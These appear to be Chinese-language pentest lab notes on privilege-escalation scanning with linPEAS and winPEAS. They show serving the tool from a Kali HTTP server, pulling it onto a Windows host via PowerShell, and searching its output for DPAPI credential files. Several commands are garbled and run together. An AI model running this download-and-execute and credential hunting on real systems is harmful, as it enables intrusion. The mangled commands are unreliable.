【linux】【提權】【弱掃】linpeas

 

# 

//install 掃描linuxsudo 套件安全性設定

apt-get

scpupdate sudo apt-get -y install peass # 複製到本地 kali@kali:~$ cp /usr/share/peass/linpeas/linpeas_linux_amd64winpeas/winPEASx64.exe {user}@{ip}

.

chmod# +x啟用python linpeas_linux_amd64

server提供下載

kali@kali:~$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

# windos 執行 pwershell
C:\Users\dave>powershell
...省略
# 下載 winPEAS.exe
PS C:\Users\dave> iwr -uri http:/linpeas_linux_amd64/192.168.45.175/winPEASx64.exe -Outfile winPEAS.exe

# 執行 winPEAS 掃描
PS C:\Users\dave> .\winPEAS.exe > answer.txt
.\winPEAS.exe > answer.txt
 [!] Windows version not supported, build number: '22000'
 
 
# 找尋密碼(Checking for DPAPI Credential Files 後的10行)
 PS C:\Users\dave> Select-String -Path .\answer.txt -Pattern 'Checking for DPAPI Credential Files' -Context 1, 10

  answer.txt:1920:
> answer.txt:1921:����������͹ Checking for DPAPI Credential Files
  answer.txt:1922:�  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
  answer.txt:1923:    CredFile: C:\Users\dave\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
  answer.txt:1924:    Description: Local Credential Data
  answer.txt:1925:
  answer.txt:1926:    MasterKey: 7ba528f7-4e73-48a3-8a67-e5680688c9ff
  answer.txt:1927:    Accessed: 11/28/2023 7:45:54 AM
  answer.txt:1928:    Modified: 2/13/2023 2:46:41 AM
  answer.txt:1929:    Size: 11136
  answer.txt:1930:   =================================================================================================
  answer.txt:1931: